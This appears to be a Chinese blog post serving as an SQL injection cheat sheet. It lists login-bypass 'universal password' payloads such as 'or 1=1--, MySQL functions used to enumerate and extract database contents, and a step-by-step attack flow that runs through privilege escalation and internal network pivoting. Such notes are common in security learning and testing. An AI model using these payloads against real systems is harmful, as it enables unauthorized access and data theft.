SQL注入常用函数,注入基本注入流程

一、常见万能密码

  1. "or "a"="a
  2. ')or('a'='a
  3. or 1=1--
  4. 'or 1=1--
  5. a'or' 1=1--
  6. "or 1=1--
  7. 'or'a'='a
  8. "or"="a'='a
  9. 'or''='
  10. 'or'='or'
  11. 1 or '1'='1'=1
  12. 1 or '1'='1' or 1=1
  13. 'OR 1=1%00

二、常用函数

1, 作用——返回当前登录mysql数据库的用户

user(); system_user(); current_user(); session_user();
mysql用法:select user();

2,作用——查看当前数据库的版本

version();
用法:select version();

3,作用:查看当前使用的库名

database();
用法:select database();

4,作用——返回数据库的存储目录

@@datadir;
用法:select @@datadir;

5,作用——查看服务器操作系统

@@version_compile_os; 
用法:select @@version_compile_os;

6,作用——链接两个字符串并传入数据库(多列转换成一列显示)

concat(str1,"分隔符",str2) 
实例:select concat(name,"`",sex) from table_name;

7,作用——用分隔符链接,多个字段的字符串(多列转换成一列)

concat_ws("~",str1,str2);
用法:select concat_ws(字段名,字段名) from 表名;

8,作用——将多行查询结果以逗号分隔全部输出(多行转换成一行显示)

group_concat(str1,str2)
用法:select group_concat(str1,str2) from table_name;
实列:select group_concat(字段名,字段名) from 表名;

9,作用——从一个字符串中截取指定数量的字符

mid();  | substr();  | substring(); 
在mysql数据库中,可以和前面的concat concat_ws 结合使用
用法:select mid(column_name,start,length)
colunm_name:字段名
start:起始位置以数字表示(1)
length:截取的长度
实列:select mid(group_concat(neme,sex),1,5)from 表名;  

10,作用——从某个值开始,取出之后的N条数据的语法 (返回结果中的前几条数据或者中间的数据)

limit() 函数
用法:select * from 表名 limit M,N
m是:指从m位开始(第一位为0)
n是:指取n条

11,字符串处理

substr(),substring(),mid():用法基本相同,截取字符串的一部分
语句:select substr(database(),1,3);
解释:截取database()返回的结果,从第一个自负开始截取三个
说明:substr(a,b,c);截取字符串
a 所要截取字符串
b 截取的位置
c 截取的长度
substr使用范围:oracle、mysql、sqlserver
substring使用范围:mysql、sqlserver
mid使用范围:mysql

12,进行16进制编码

hex(); 
select hex('dvwa')  //编码
select unhex('64767761')  //解码
select 0x64767761  //16进制解码

13,条件判断语句

关键字:if
if(arg1,arg2,arg3)
arg1为判断的条件,arg2是条件为真时返回的结果,arg3是条件为假时返回的结果
语句:select if(1=1, 'true', 'false‘)	 	 返回结果:true
case when arg1 then arg2 else arg3 end
arg1为判断的条件,arg2是条件为真的返回结果,arg3是条件为假的返回结果
语句:SELECT 1,case when 1=1 then 'hello' else 'goodbye' end,3 --+
length(arg) :返回目标字符串的长度,注意:arg字符串。
语句:select length(database());//返回当前数据库名字的长度

14,加密解密方式

ascii(arg)/ord(arg) :返回目标字符对应的ASCII码,注意:arg为单个字符。
语句:select ascii(‘a’)  //返回结果:97
char(arg):返回ASCII码只对应的字符
语句:select char(97)  //返回结果为a
hex():将目标字符串装换成16进制格式的数据
语句: select hex(“dvwa”)   //返回结果: 64767761
unhex():将16进制格式的数据装换成原字符串
语句:unhex(64767761)  //返回结果:dvwa

三、sql注入基本流程

  1. 判断是否有注入点
  2. 获取数据库基本信息
  3. 获取数据库库名
  4. 获取数据库表名
  5. 获取数据库列名
  6. 获取用户信息
  7. 破解数据
  8. 提升权限
  9. 内网渗透
posted @ 2022-03-12 18:22  灵图  阅读(692)  评论(0)    收藏  举报